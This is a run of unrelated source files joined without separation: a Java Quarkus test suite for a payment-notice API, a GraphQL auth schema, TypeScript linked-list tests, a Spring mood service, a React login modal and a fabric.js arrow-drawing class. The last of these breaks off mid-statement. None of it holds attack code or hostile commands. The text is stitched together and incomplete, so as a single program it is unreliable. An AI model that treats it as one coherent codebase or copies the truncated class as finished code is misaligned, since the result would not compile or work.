package it.pagopa.swclient.mil.paymentnotice; import static io.restassured.RestAssured.given; import java.time.Instant; import java.time.LocalDateTime; import java.time.ZoneOffset; import java.time.temporal.ChronoUnit; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import io.quarkus.mongodb.panache.reactive.ReactivePanacheQuery; import io.quarkus.panache.common.Sort; import io.quarkus.test.junit.TestProfile; import io.quarkus.test.security.TestSecurity; import io.smallrye.reactive.messaging.memory.InMemoryConnector; import io.smallrye.reactive.messaging.memory.InMemorySink; import it.pagopa.swclient.mil.paymentnotice.bean.Payment; import it.pagopa.swclient.mil.paymentnotice.dao.Notice; import it.pagopa.swclient.mil.paymentnotice.dao.PaymentTransaction; import it.pagopa.swclient.mil.paymentnotice.dao.PaymentTransactionEntity; import it.pagopa.swclient.mil.paymentnotice.dao.PaymentTransactionRepository; import it.pagopa.swclient.mil.paymentnotice.dao.PaymentTransactionStatus; import it.pagopa.swclient.mil.paymentnotice.resource.UnitTestProfile; import it.pagopa.swclient.mil.paymentnotice.util.ExceptionType; import it.pagopa.swclient.mil.paymentnotice.util.TestUtils; import it.pagopa.swclient.mil.paymentnotice.resource.PaymentResource; import jakarta.enterprise.inject.Any; import jakarta.inject.Inject; import org.apache.commons.lang3.RandomStringUtils; import org.apache.commons.lang3.StringUtils; import org.eclipse.microprofile.reactive.messaging.Message; import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.TestInstance; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.MethodSource; import org.mockito.ArgumentCaptor; import org.mockito.Mockito; import io.quarkus.test.common.http.TestHTTPEndpoint; import io.quarkus.test.junit.QuarkusTest; import io.quarkus.test.junit.mockito.InjectMock; import io.restassured.http.ContentType; import io.restassured.response.Response; import io.smallrye.mutiny.Uni; import it.pagopa.swclient.mil.paymentnotice.bean.Outcome; import it.pagopa.swclient.mil.paymentnotice.bean.ReceivePaymentStatusRequest; import it.pagopa.swclient.mil.paymentnotice.util.PaymentTestData; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.testcontainers.shaded.org.awaitility.Awaitility; @QuarkusTest @TestHTTPEndpoint(PaymentResource.class) @TestProfile(UnitTestProfile.class) @TestInstance(TestInstance.Lifecycle.PER_CLASS) class ManagePaymentResultTest { static final Logger logger = LoggerFactory.getLogger(ManagePaymentResultTest.class); @InjectMock PaymentTransactionRepository paymentTransactionRepository; @Inject @Any InMemoryConnector connector; Map<String, String> commonHeaders; PaymentTransactionEntity paymentTransactionEntity; PaymentTransactionEntity paymentTransactionPresetEntity; ReceivePaymentStatusRequest paymentStatusOK; ReceivePaymentStatusRequest paymentStatusKO; String transactionId; String paymentDate; int receivedMessage = 0; @BeforeAll void createTestObjects() { // common headers commonHeaders = PaymentTestData.getMilHeaders(true, true); transactionId = RandomStringUtils.random(32, true, true); paymentDate = LocalDateTime.ofInstant(Instant.now().truncatedTo(ChronoUnit.SECONDS), ZoneOffset.UTC).toString(); paymentTransactionEntity = PaymentTestData.getPaymentTransaction(transactionId, PaymentTransactionStatus.PENDING, commonHeaders, 3, null); paymentTransactionPresetEntity = PaymentTestData.getPaymentTransaction(transactionId, PaymentTransactionStatus.PENDING, commonHeaders, 3, PaymentTestData.getPreset()); List<Payment> paymentList = new ArrayList<>(); for (Notice notice : paymentTransactionEntity.paymentTransaction.getNotices()){ Payment payment = new Payment(); payment.setCompany(notice.getCompany()); payment.setCreditorReferenceId("4839d50603fssfW5X"); payment.setDebtor("Mario Rossi"); payment.setDescription(notice.getDescription()); payment.setFiscalCode(notice.getPaTaxCode()); payment.setOffice(notice.getOffice()); payment.setPaymentToken(notice.getPaymentToken()); paymentList.add(payment); } paymentStatusOK = new ReceivePaymentStatusRequest(); paymentStatusOK.setOutcome(Outcome.OK.name()); paymentStatusOK.setPaymentDate(paymentDate); paymentStatusOK.setPayments(paymentList); paymentStatusKO = new ReceivePaymentStatusRequest(); paymentStatusKO.setOutcome(Outcome.KO.name()); paymentStatusKO.setPaymentDate(paymentDate); paymentStatusKO.setPayments(paymentList); } @AfterAll void cleanUp() { connector.sink("presets").clear(); } @Test @TestSecurity(user = "testUser", roles = { "NoticePayer" }) void testGetPayments_200() { ReactivePanacheQuery<PaymentTransactionEntity> reactivePanacheQuery = Mockito.mock(ReactivePanacheQuery.class); Mockito.when(reactivePanacheQuery.page(Mockito.any())).thenReturn(reactivePanacheQuery); Mockito.when(reactivePanacheQuery.withBatchSize(Mockito.anyInt())).thenReturn(reactivePanacheQuery); Mockito.when(reactivePanacheQuery.list()).thenReturn(Uni.createFrom().item(List.of(paymentTransactionEntity))); Mockito .when(paymentTransactionRepository.find(Mockito.anyString(), Mockito.any(Sort.class), Mockito.any(Object[].class))) .thenReturn(reactivePanacheQuery); Response response = given() .contentType(ContentType.JSON) .headers(commonHeaders) .when() .get("/") .then() .extract() .response(); Assertions.assertEquals(200, response.statusCode()); Assertions.assertEquals(1, response.jsonPath().getList("transactions").size()); Assertions.assertEquals(transactionId, response.jsonPath().getList("transactions", PaymentTransaction.class).get(0).getTransactionId()); } @Test @TestSecurity(user = "testUser", roles = { "NoticePayer" }) void testGetPayments_200_empty() { ReactivePanacheQuery<PaymentTransactionEntity> reactivePanacheQuery = Mockito.mock(ReactivePanacheQuery.class); Mockito.when(reactivePanacheQuery.page(Mockito.any())).thenReturn(reactivePanacheQuery); Mockito.when(reactivePanacheQuery.withBatchSize(Mockito.anyInt())).thenReturn(reactivePanacheQuery); Mockito.when(reactivePanacheQuery.list()).thenReturn(Uni.createFrom().item(List.of())); Mockito .when(paymentTransactionRepository.find(Mockito.anyString(), Mockito.any(Sort.class), Mockito.any(Object[].class))) .thenReturn(reactivePanacheQuery); Response response = given() .contentType(ContentType.JSON) .headers(commonHeaders) .when() .get("/") .then() .extract() .response(); Assertions.assertEquals(200, response.statusCode()); Assertions.assertEquals(0, response.jsonPath().getList("transactions").size()); } @Test @TestSecurity(user = "testUser", roles = { "NoticePayer" }) void testGetPayments_500_db_errorRead() { ReactivePanacheQuery<PaymentTransactionEntity> reactivePanacheQuery = Mockito.mock(ReactivePanacheQuery.class); Mockito.when(reactivePanacheQuery.page(Mockito.any())).thenReturn(reactivePanacheQuery); Mockito.when(reactivePanacheQuery.withBatchSize(Mockito.anyInt())).thenReturn(reactivePanacheQuery); Mockito.when(reactivePanacheQuery.list()) .thenReturn(Uni.createFrom().failure(TestUtils.getException(ExceptionType.DB_TIMEOUT_EXCEPTION))); Mockito .when(paymentTransactionRepository.find(Mockito.anyString(), Mockito.any(Sort.class), Mockito.any(Object[].class))) .thenReturn(reactivePanacheQuery); Response response = given() .contentType(ContentType.JSON) .headers(commonHeaders) .when() .get("/") .then() .extract() .response(); Assertions.assertEquals(500, response.statusCode()); Assertions.assertEquals(1, response.jsonPath().getList("errors").size()); Assertions.assertTrue(response.jsonPath().getList("errors").contains(ErrorCode.ERROR_RETRIEVING_DATA_FROM_DB)); } @Test @TestSecurity(user = "testUser", roles = { "NoticePayer" }) void testGetPaymentStatus_200() { Mockito .when(paymentTransactionRepository.findById(Mockito.anyString())) .thenReturn(Uni.createFrom().item(paymentTransactionEntity)); Response response = given() .contentType(ContentType.JSON) .headers(commonHeaders) .and() .pathParam("transactionId", transactionId) .when() .get("/{transactionId}") .then() .extract() .response(); var paymentTransaction = paymentTransactionEntity.paymentTransaction; Assertions.assertEquals(200, response.statusCode()); Assertions.assertNull(response.jsonPath().getJsonObject("errors")); Assertions.assertEquals(transactionId, response.jsonPath().getString("transactionId")); Assertions.assertEquals(commonHeaders.get("AcquirerId"), response.jsonPath().getString("acquirerId")); Assertions.assertEquals(commonHeaders.get("Channel"), response.jsonPath().getString("channel")); Assertions.assertEquals(commonHeaders.get("MerchantId"), response.jsonPath().getString("merchantId")); Assertions.assertEquals(commonHeaders.get("TerminalId"), response.jsonPath().getString("terminalId")); Assertions.assertNotNull(response.jsonPath().getString("insertTimestamp")); Assertions.assertEquals(paymentTransaction.getTotalAmount(), response.jsonPath().getLong("totalAmount")); Assertions.assertEquals(paymentTransaction.getFee().longValue(), response.jsonPath().getLong("fee")); Assertions.assertEquals(paymentTransaction.getStatus(), response.jsonPath().getString("status")); // check DB integration - read ArgumentCaptor<String> captorTransactionId = ArgumentCaptor.forClass(String.class); Mockito.verify(paymentTransactionRepository).findById(captorTransactionId.capture()); Assertions.assertEquals(transactionId, captorTransactionId.getValue()); } @ParameterizedTest @MethodSource("it.pagopa.swclient.mil.paymentnotice.util.TestUtils#provideHeaderValidationErrorCases") @TestSecurity(user = "testUser", roles = { "NoticePayer" }) void testGetPaymentStatus_400_invalidHeaders(Map<String, String> invalidHeaders, String errorCode) { Response response = given() .contentType(ContentType.JSON) .headers(invalidHeaders) .and() .pathParam("transactionId", transactionId) .when() .get("/{transactionId}") .then() .extract() .response(); Assertions.assertEquals(400, response.statusCode()); Assertions.assertEquals(1, response.jsonPath().getList("errors").size()); Assertions.assertTrue(response.jsonPath().getList("errors").contains(errorCode)); } @Test @TestSecurity(user = "testUser", roles = { "NoticePayer" }) void testGetPaymentStatus_400_invalidPathParam() { Response response = given() .contentType(ContentType.JSON) .headers(commonHeaders) .and() .pathParam("transactionId", "abc_") .when() .get("/{transactionId}") .then() .extract() .response(); Assertions.assertEquals(400, response.statusCode()); Assertions.assertEquals(1, response.jsonPath().getList("errors").size()); Assertions.assertTrue(response.jsonPath().getList("errors").contains(ErrorCode.ERROR_TRANSACTION_ID_MUST_MATCH_REGEXP)); } @Test @TestSecurity(user = "testUser", roles = { "NoticePayer" }) void testGetPaymentStatus_404_transactionNotFound() { Mockito .when(paymentTransactionRepository.findById(Mockito.anyString())) .thenReturn(Uni.createFrom().nullItem()); Response response = given() .contentType(ContentType.JSON) .headers(commonHeaders) .and() .pathParam("transactionId", transactionId) .when() .get("/{transactionId}") .then() .extract() .response(); Assertions.assertEquals(404, response.statusCode()); Assertions.assertEquals(StringUtils.EMPTY, response.body().asString()); } @Test @TestSecurity(user = "testUser", roles = { "NoticePayer" }) void testGetPaymentStatus_404_transactionMismatch() { Mockito .when(paymentTransactionRepository.findById(Mockito.anyString())) .thenReturn(Uni.createFrom().item(paymentTransactionEntity)); Map<String, String> invalidClientHeaderMap = new HashMap<>(commonHeaders); invalidClientHeaderMap.put("MerchantId", "abdce"); Response response = given() .contentType(ContentType.JSON) .headers(invalidClientHeaderMap) .and() .pathParam("transactionId", transactionId) .when() .get("/{transactionId}") .then() .extract() .response(); Assertions.assertEquals(404, response.statusCode()); Assertions.assertEquals(StringUtils.EMPTY, response.body().asString()); } @Test @TestSecurity(user = "testUser", roles = { "NoticePayer" }) void testGetPaymentResult_500_db_errorRead() { Mockito .when(paymentTransactionRepository.findById(Mockito.anyString())) .thenReturn(Uni.createFrom().failure(TestUtils.getException(ExceptionType.DB_TIMEOUT_EXCEPTION))); Response response = given() .contentType(ContentType.JSON) .headers(commonHeaders) .and() .pathParam("transactionId", transactionId) .when() .get("/{transactionId}") .then() .extract() .response(); Assertions.assertEquals(500, response.statusCode()); Assertions.assertTrue(response.jsonPath().getList("errors").contains(ErrorCode.ERROR_RETRIEVING_DATA_FROM_DB)); } @Test @TestSecurity(user = "testUser", roles = { "Nodo" }) void testReceivePaymentStatusOK_200() { Mockito .when(paymentTransactionRepository.findById(Mockito.anyString())) .thenReturn(Uni.createFrom().item(paymentTransactionEntity)); Mockito .when(paymentTransactionRepository.update(Mockito.any(PaymentTransactionEntity.class))) .then(i-> Uni.createFrom().item(i.getArgument(0, PaymentTransactionEntity.class))); Response response = given() .contentType(ContentType.JSON) .and() .pathParam("transactionId", transactionId) .body(paymentStatusOK) .when() .post("/{transactionId}") .then() .extract() .response(); Assertions.assertEquals(200, response.statusCode()); Assertions.assertEquals(Outcome.OK.toString(), response.jsonPath().getString("outcome")); Assertions.assertNull(response.jsonPath().getJsonObject("errors")); // check DB integration - read ArgumentCaptor<String> captorTransactionId = ArgumentCaptor.forClass(String.class); Mockito.verify(paymentTransactionRepository).findById(captorTransactionId.capture()); Assertions.assertEquals(transactionId, captorTransactionId.getValue()); // check DB integration - write ArgumentCaptor<PaymentTransactionEntity> captorTransactionEntity = ArgumentCaptor.forClass(PaymentTransactionEntity.class); Mockito.verify(paymentTransactionRepository).update(captorTransactionEntity.capture()); Assertions.assertEquals(PaymentTransactionStatus.CLOSED.name(), captorTransactionEntity.getValue().paymentTransaction.getStatus()); Assertions.assertEquals(paymentDate, captorTransactionEntity.getValue().paymentTransaction.getPaymentDate()); Assertions.assertNotNull(captorTransactionEntity.getValue().paymentTransaction.getCallbackTimestamp()); for (Notice notice : captorTransactionEntity.getValue().paymentTransaction.getNotices()) { Assertions.assertEquals("4839d50603fssfW5X", notice.getCreditorReferenceId()); Assertions.assertEquals("Mario Rossi", notice.getDebtor()); } } @Test @TestSecurity(user = "testUser", roles = { "Nodo" }) void testReceivePaymentStatusOK_200_preset() { Mockito .when(paymentTransactionRepository.findById(Mockito.anyString())) .thenReturn(Uni.createFrom().item(paymentTransactionPresetEntity)); Mockito .when(paymentTransactionRepository.update(Mockito.any(PaymentTransactionEntity.class))) .then(i-> Uni.createFrom().item(i.getArgument(0, PaymentTransactionEntity.class))); Response response = given() .contentType(ContentType.JSON) .and() .pathParam("transactionId", transactionId) .body(paymentStatusOK) .when() .post("/{transactionId}") .then() .extract() .response(); Assertions.assertEquals(200, response.statusCode()); Assertions.assertEquals(Outcome.OK.toString(), response.jsonPath().getString("outcome")); Assertions.assertNull(response.jsonPath().getJsonObject("errors")); // check topic integration ArgumentCaptor<PaymentTransactionEntity> captorEntity = ArgumentCaptor.forClass(PaymentTransactionEntity.class); Mockito.verify(paymentTransactionRepository).update(captorEntity.capture()); receivedMessage++; InMemorySink<PaymentTransaction> presetsOut = connector.sink("presets"); Awaitility.await().<List<? extends Message<PaymentTransaction>>>until(presetsOut::received, t -> t.size() == receivedMessage); PaymentTransaction message = presetsOut.received().get(receivedMessage-1).getPayload(); logger.info("Topic message: {}", message); Assertions.assertEquals(paymentTransactionPresetEntity.paymentTransaction.getTransactionId(), message.getTransactionId()); Assertions.assertEquals(captorEntity.getValue().paymentTransaction.getStatus(), message.getStatus()); Assertions.assertEquals(paymentTransactionPresetEntity.paymentTransaction.getPreset().getPresetId(), message.getPreset().getPresetId()); Assertions.assertEquals(paymentTransactionPresetEntity.paymentTransaction.getPreset().getSubscriberId(), message.getPreset().getSubscriberId()); Assertions.assertEquals(paymentTransactionPresetEntity.paymentTransaction.getPreset().getPaTaxCode(), message.getPreset().getPaTaxCode()); } @Test @TestSecurity(user = "testUser", roles = { "Nodo" }) void testReceivePaymentStatusKO_200() { Mockito .when(paymentTransactionRepository.findById(Mockito.anyString())) .thenReturn(Uni.createFrom().item(paymentTransactionEntity)); Mockito .when(paymentTransactionRepository.update(Mockito.any(PaymentTransactionEntity.class))) .then(i-> Uni.createFrom().item(i.getArgument(0, PaymentTransactionEntity.class))); Response response = given() .contentType(ContentType.JSON) .and() .pathParam("transactionId", transactionId) .body(paymentStatusKO) .when() .post("/{transactionId}") .then() .extract() .response(); Assertions.assertEquals(200, response.statusCode()); Assertions.assertEquals(Outcome.OK.toString(), response.jsonPath().getString("outcome")); Assertions.assertNull(response.jsonPath().getJsonObject("errors")); // check DB integration - read ArgumentCaptor<String> captorTransactionId = ArgumentCaptor.forClass(String.class); Mockito.verify(paymentTransactionRepository).findById(captorTransactionId.capture()); Assertions.assertEquals(transactionId, captorTransactionId.getValue()); // check DB integration - write ArgumentCaptor<PaymentTransactionEntity> captorTransactionEntity = ArgumentCaptor.forClass(PaymentTransactionEntity.class); Mockito.verify(paymentTransactionRepository).update(captorTransactionEntity.capture()); Assertions.assertEquals(PaymentTransactionStatus.ERROR_ON_RESULT.name(), captorTransactionEntity.getValue().paymentTransaction.getStatus()); Assertions.assertEquals(paymentDate, captorTransactionEntity.getValue().paymentTransaction.getPaymentDate()); Assertions.assertNotNull(captorTransactionEntity.getValue().paymentTransaction.getCallbackTimestamp()); for (Notice notice : captorTransactionEntity.getValue().paymentTransaction.getNotices()) { Assertions.assertEquals("4839d50603fssfW5X", notice.getCreditorReferenceId()); Assertions.assertEquals("Mario Rossi", notice.getDebtor()); } } @Test @TestSecurity(user = "testUser", roles = { "Nodo" }) void testReceivePaymentStatusKO_200_preset() { Mockito .when(paymentTransactionRepository.findById(Mockito.anyString())) .thenReturn(Uni.createFrom().item(paymentTransactionPresetEntity)); Mockito .when(paymentTransactionRepository.update(Mockito.any(PaymentTransactionEntity.class))) .then(i-> Uni.createFrom().item(i.getArgument(0, PaymentTransactionEntity.class))); Response response = given() .contentType(ContentType.JSON) .and() .pathParam("transactionId", transactionId) .body(paymentStatusKO) .when() .post("/{transactionId}") .then() .extract() .response(); Assertions.assertEquals(200, response.statusCode()); Assertions.assertEquals(Outcome.OK.toString(), response.jsonPath().getString("outcome")); Assertions.assertNull(response.jsonPath().getJsonObject("errors")); // check topic integration ArgumentCaptor<PaymentTransactionEntity> captorEntity = ArgumentCaptor.forClass(PaymentTransactionEntity.class); Mockito.verify(paymentTransactionRepository).update(captorEntity.capture()); receivedMessage++; InMemorySink<PaymentTransaction> presetsOut = connector.sink("presets"); Awaitility.await().<List<? extends Message<PaymentTransaction>>>until(presetsOut::received, t -> t.size() == receivedMessage); PaymentTransaction message = presetsOut.received().get(receivedMessage-1).getPayload(); logger.info("Topic message: {}", message); Assertions.assertEquals(paymentTransactionPresetEntity.paymentTransaction.getTransactionId(), message.getTransactionId()); Assertions.assertEquals(captorEntity.getValue().paymentTransaction.getStatus(), message.getStatus()); Assertions.assertEquals(paymentTransactionPresetEntity.paymentTransaction.getPreset().getPresetId(), message.getPreset().getPresetId()); Assertions.assertEquals(paymentTransactionPresetEntity.paymentTransaction.getPreset().getSubscriberId(), message.getPreset().getSubscriberId()); Assertions.assertEquals(paymentTransactionPresetEntity.paymentTransaction.getPreset().getPaTaxCode(), message.getPreset().getPaTaxCode()); } @Test @TestSecurity(user = "testUser", roles = { "Nodo" }) void testReceivePaymentStatus_404() { Mockito .when(paymentTransactionRepository.findById(Mockito.anyString())) .thenReturn(Uni.createFrom().nullItem()); Response response = given() .contentType(ContentType.JSON) .and() .pathParam("transactionId", transactionId) .body(paymentStatusOK) .when() .post("/{transactionId}") .then() .extract() .response(); Assertions.assertEquals(404, response.statusCode()); Assertions.assertEquals("PAYMENT_NOT_FOUND", response.jsonPath().getString("outcome")); Assertions.assertNull(response.jsonPath().getJsonObject("errors")); } @Test @TestSecurity(user = "testUser", roles = { "Nodo" }) void testReceivePaymentResult_500_db_errorRead() { Mockito .when(paymentTransactionRepository.findById(Mockito.anyString())) .thenReturn(Uni.createFrom().failure(TestUtils.getException(ExceptionType.DB_TIMEOUT_EXCEPTION))); Response response = given() .contentType(ContentType.JSON) .and() .body(paymentStatusOK) .and() .pathParam("transactionId", transactionId) .when() .post("/{transactionId}") .then() .extract() .response(); Assertions.assertEquals(500, response.statusCode()); Assertions.assertEquals(1, response.jsonPath().getList("errors").size()); Assertions.assertTrue(response.jsonPath().getList("errors").contains(ErrorCode.ERROR_RETRIEVING_DATA_FROM_DB)); } @Test @TestSecurity(user = "testUser", roles = { "Nodo" }) void testReceivePaymentResult_500_db_errorWrite() { Mockito .when(paymentTransactionRepository.findById(Mockito.anyString())) .thenReturn(Uni.createFrom().item(paymentTransactionEntity)); Mockito .when(paymentTransactionRepository.update(Mockito.any(PaymentTransactionEntity.class))) .thenReturn(Uni.createFrom().failure(TestUtils.getException(ExceptionType.DB_TIMEOUT_EXCEPTION))) .then(i-> Uni.createFrom().item(i.getArgument(0, PaymentTransactionEntity.class))); Response response = given() .contentType(ContentType.JSON) .and() .body(paymentStatusOK) .and() .pathParam("transactionId", transactionId) .when() .post("/{transactionId}") .then() .extract() .response(); Assertions.assertEquals(200, response.statusCode()); Assertions.assertEquals(Outcome.OK.toString(), response.jsonPath().getString("outcome")); Assertions.assertNull(response.jsonPath().getJsonObject("errors")); // check DB integration - read ArgumentCaptor<String> captorTransactionId = ArgumentCaptor.forClass(String.class); Mockito.verify(paymentTransactionRepository).findById(captorTransactionId.capture()); Assertions.assertEquals(transactionId, captorTransactionId.getValue()); // check DB integration - write ArgumentCaptor<PaymentTransactionEntity> captorTransactionEntity = ArgumentCaptor.forClass(PaymentTransactionEntity.class); Mockito.verify(paymentTransactionRepository, Mockito.times(2)).update(captorTransactionEntity.capture()); Assertions.assertEquals(PaymentTransactionStatus.CLOSED.name(), captorTransactionEntity.getValue().paymentTransaction.getStatus()); Assertions.assertEquals(paymentDate, captorTransactionEntity.getValue().paymentTransaction.getPaymentDate()); Assertions.assertNotNull(captorTransactionEntity.getValue().paymentTransaction.getCallbackTimestamp()); for (Notice notice : captorTransactionEntity.getValue().paymentTransaction.getNotices()) { Assertions.assertEquals("4839d50603fssfW5X", notice.getCreditorReferenceId()); Assertions.assertEquals("Mario Rossi", notice.getDebtor()); } } }
directive @isLogged on QUERY | FIELD_DEFINITION | MUTATION type User { id: Int! firstName: String! lastName: String! email: String! roleIds: [Role] actionIds: [Action] } type Role { id: Int! name: String! } type Action { id: String! desc: String! } type AuthUser { token: String! user: User! } input CreateUserInput { firstName: String! lastName: String email: String! password: String! } input SignInInput { email: String! password: String! } type Query { me: User } type Mutation { signUp(input: CreateUserInput!): AuthUser! signIn(input: SignInInput!): AuthUser! }
import { DoubleLinkedList } from "./doubleLinkedList"; describe("testing linked list implementation", () => { let doubleLinkedList: DoubleLinkedList; beforeEach(() => { doubleLinkedList = new DoubleLinkedList(); }); test("pushing front double linked list", () => { doubleLinkedList.pushFront(2); doubleLinkedList.pushFront(6); doubleLinkedList.pushFront(4); expect(doubleLinkedList.printDoubleLinkedList()).toBe( `> previousValue: undefined ; actualValue: 4 ; nextValue: 6> previousValue: 4 ; actualValue: 6 ; nextValue: 2> previousValue: 6 ; actualValue: 2 ; nextValue: undefined` ); }); test("pushing back double linked list", () => { doubleLinkedList.pushFront(2); doubleLinkedList.pushFront(6); doubleLinkedList.pushFront(4); doubleLinkedList.pushBack(100); expect(doubleLinkedList.printDoubleLinkedList()).toBe( `> previousValue: undefined ; actualValue: 4 ; nextValue: 6> previousValue: 4 ; actualValue: 6 ; nextValue: 2> previousValue: 6 ; actualValue: 2 ; nextValue: 100> previousValue: 2 ; actualValue: 100 ; nextValue: undefined` ); }); test("deleting", () => { doubleLinkedList.pushFront(2); doubleLinkedList.pushFront(6); doubleLinkedList.pushFront(4); doubleLinkedList.pushBack(100); expect(doubleLinkedList.printDoubleLinkedList()).toBe( `> previousValue: undefined ; actualValue: 4 ; nextValue: 6> previousValue: 4 ; actualValue: 6 ; nextValue: 2> previousValue: 6 ; actualValue: 2 ; nextValue: 100> previousValue: 2 ; actualValue: 100 ; nextValue: undefined` ); doubleLinkedList.delete(2); expect(doubleLinkedList.printDoubleLinkedList()).toBe( `> previousValue: undefined ; actualValue: 4 ; nextValue: 6> previousValue: 4 ; actualValue: 6 ; nextValue: 100> previousValue: 6 ; actualValue: 100 ; nextValue: undefined` ); }); test("size", () => { doubleLinkedList.pushFront(2); doubleLinkedList.pushFront(6); doubleLinkedList.pushFront(4); doubleLinkedList.pushBack(100); expect(doubleLinkedList.size()).toBe(4); }); test("insert", () => { doubleLinkedList.pushFront(2); doubleLinkedList.pushFront(6); doubleLinkedList.pushFront(4); doubleLinkedList.pushBack(100); doubleLinkedList.insert(500, 2); expect(doubleLinkedList.printDoubleLinkedList()).toBe( "> previousValue: undefined ; actualValue: 4 ; nextValue: 6> previousValue: 4 ; actualValue: 6 ; nextValue: 500> previousValue: 6 ; actualValue: 500 ; nextValue: 2> previousValue: 500 ; actualValue: 2 ; nextValue: 100> previousValue: 2 ; actualValue: 100 ; nextValue: undefined" ); }); });
package com.likebookapp.service; import com.likebookapp.model.entity.Mood; import com.likebookapp.model.entity.MoodEnum; import com.likebookapp.repository.MoodRepository; import org.modelmapper.ModelMapper; import org.springframework.stereotype.Service; import java.util.Arrays; import java.util.Optional; @Service public class MoodService { private final MoodRepository moodRepository; private final ModelMapper modelMapper; public MoodService(MoodRepository moodRepository, ModelMapper modelMapper) { this.moodRepository = moodRepository; this.modelMapper = modelMapper; } public void initMoods() { if (this.moodRepository.count() != 0) { return; } Arrays.stream(MoodEnum.values()) .forEach(moodEnum -> { Mood mood = new Mood(); if (moodEnum.equals(MoodEnum.Sad)){ mood.setName(MoodEnum.Sad); } else if (moodEnum.equals(MoodEnum.Happy)) { mood.setName(MoodEnum.Happy); } else { mood.setName(MoodEnum.Inspired); } this.moodRepository.save(mood); }); } public Optional<Mood> findByName(MoodEnum mood) { return this.moodRepository.findMoodByName(mood); } }
import React from "react"; import Modal from "react-bootstrap/Modal"; import Form from "react-bootstrap/Form"; import PlayButton from "./PlayButtom"; import { useState } from "react"; import { useNavigate } from "react-router-dom"; export function ModalLoguin({ showLoguin, handleCloseLoguin }) { const loguin = useNavigate(); const handleNavigate = () => { loguin("/loguin"); }; const initialForm = { controlUser: "", controlEmail: "", controlPassword: "", }; const [formLoguin, setFormLoguin] = useState(initialForm); const [errorsLoguin, setErrorsLoguin] = useState({}); function SetFieldLoguin(field, value) { setFormLoguin({ ...formLoguin, //los operadores ... copian el contenido actual del form [field]: value, }); if (!!errorsLoguin[field]) { //los operadores !!convierten un valor en booleano setErrorsLoguin({ ...errorsLoguin, [field]: null, }); } } function validateFormLoguin() { const { controlUser, controlEmail, controlPassword } = formLoguin; const newErrors = {}; const emailRegex = /^\w+([.-_+]?\w+)*@\w+([.-]?\w+)*(\.\w{2,10})+$/; if (!controlUser || controlUser === "") { newErrors.controlUser = "por favor completa este campo"; } if (!emailRegex.test(controlEmail) || controlEmail === "") { newErrors.controlEmail = "por favor completa este campo correctamente: name@example.com"; } if (!controlPassword || controlPassword === "") { newErrors.controlPassword = "por favor completa este campo"; } return newErrors; } const HandlesubmitLoguin = (e) => { e.preventDefault(); const formErrorsLoguin = validateFormLoguin(); if (Object.keys(formErrorsLoguin).length > 0) { setErrorsLoguin(formErrorsLoguin); } else { handleNavigate(); setFormLoguin(initialForm); } }; return ( <> <Modal show={showLoguin} onHide={handleCloseLoguin} backdrop="static" size="lg" className="Modal" > <Modal.Header closeButton className="modal-loguin"> <Modal.Title>Iniciar Sesión</Modal.Title> </Modal.Header> <Modal.Body className="m-b"> <Form> <Form.Group className="mb-3" controlId="controlUser"> <div className="form-group position-relative mb-4"> <Form.Label>Usuario</Form.Label> <Form.Control type="text" placeholder="Usuario" value={formLoguin.controlUser} onChange={(e) => SetFieldLoguin("controlUser", e.target.value)} isInvalid={!!errorsLoguin.controlUser} autoFocus required /> <Form.Control.Feedback type="invalid"> {errorsLoguin.controlUser && ( <div className="error-message"> {errorsLoguin.controlUser} </div> ) } </Form.Control.Feedback> </div> </Form.Group> <Form.Group className="mb-3" controlId="controlEmail"> <div className="form-group position-relative mb-4"> <Form.Label> E-mail </Form.Label> <Form.Control type="email" placeholder="name@example.com" autoFocus value={formLoguin.controlEmail} onChange={(e) => SetFieldLoguin("controlEmail", e.target.value)} isInvalid={!!errorsLoguin.controlEmail} required /> <Form.Control.Feedback type="invalid"> {errorsLoguin.controlEmail && ( <div className="error-message"> {errorsLoguin.controlEmail} </div> ) } </Form.Control.Feedback> </div> </Form.Group> <Form.Group className="mb-3" controlId="controlPassword"> <div className="form-group position-relative mb-4"> <Form.Label>Contraseña</Form.Label> <Form.Control type="password" placeholder="Contraseña" value={formLoguin.controlPassword} onChange={(e) =>SetFieldLoguin("controlPassword", e.target.value)} isInvalid={!!errorsLoguin.controlPassword} required /> <Form.Control.Feedback type="invalid"> {errorsLoguin.controlPassword && ( <div className="error-message"> {errorsLoguin.controlPassword} </div> ) } </Form.Control.Feedback> </div> </Form.Group> </Form> </Modal.Body> <Modal.Footer className="m-b"> <PlayButton onClick={HandlesubmitLoguin} /> </Modal.Footer> </Modal> </> ); }
//SingleArrowHeadTool import { fabric } from "fabric" import FabricTool, { ConfigureCanvasProps } from "./fabrictool" class DoubleArrowHeadTool extends FabricTool { isMouseDown: boolean = false strokeWidth: number = 10 // yy2: number = 0 // yy1: number = 0 // xx2: number = 0 // xx1: number = 0 strokeColor: string = "#ffffff" currentLine: fabric.Line = new fabric.Line() startCircle: fabric.Circle = new fabric.Circle() doublearrow: fabric.Group = new fabric.Group() startTriangle: fabric.Triangle = new fabric.Triangle() endTriangle: fabric.Triangle = new fabric.Triangle() configureCanvas({ strokeWidth, strokeColor, }: ConfigureCanvasProps): () => void { this._canvas.isDrawingMode = false this._canvas.selection = false this._canvas.forEachObject((o) => (o.selectable = o.evented = false)) this.strokeWidth = strokeWidth this.strokeColor = strokeColor this._canvas.on("mouse:down", (e: any) => this.onMouseDown(e)) this._canvas.on("mouse:move", (e: any) => this.onMouseMove(e)) this._canvas.on("mouse:up", (e: any) => this.onMouseUp(e)) this._canvas.on("mouse:out", (e: any) => this.onMouseOut(e)) return () => { this._canvas.off("mouse:down") this._canvas.off("mouse:move") this._canvas.off("mouse:up") this._canvas.off("mouse:out") } } onMouseDown(o: any) { let canvas = this._canvas let _clicked = o.e["button"] this.isMouseDown = true var pointer = canvas.getPointer(o.e) var points = [pointer.x, pointer.y, pointer.x, pointer.y] this.currentLine = new fabric.Line(points, { strokeWidth: this.strokeWidth, fill: this.strokeColor, stroke: this.strokeColor, originX: "center", originY: "center", selectable: false, evented: false, }) if (_clicked === 0) { //canvas.add(this.currentLine) canvas.add(this.doublearrow) } } onMouseMove(o: any) { if (!this.isMouseDown) return let canvas = this._canvas var pointer = canvas.getPointer(o.e) this.currentLine.set({ x2: pointer.x, y2: pointer.y 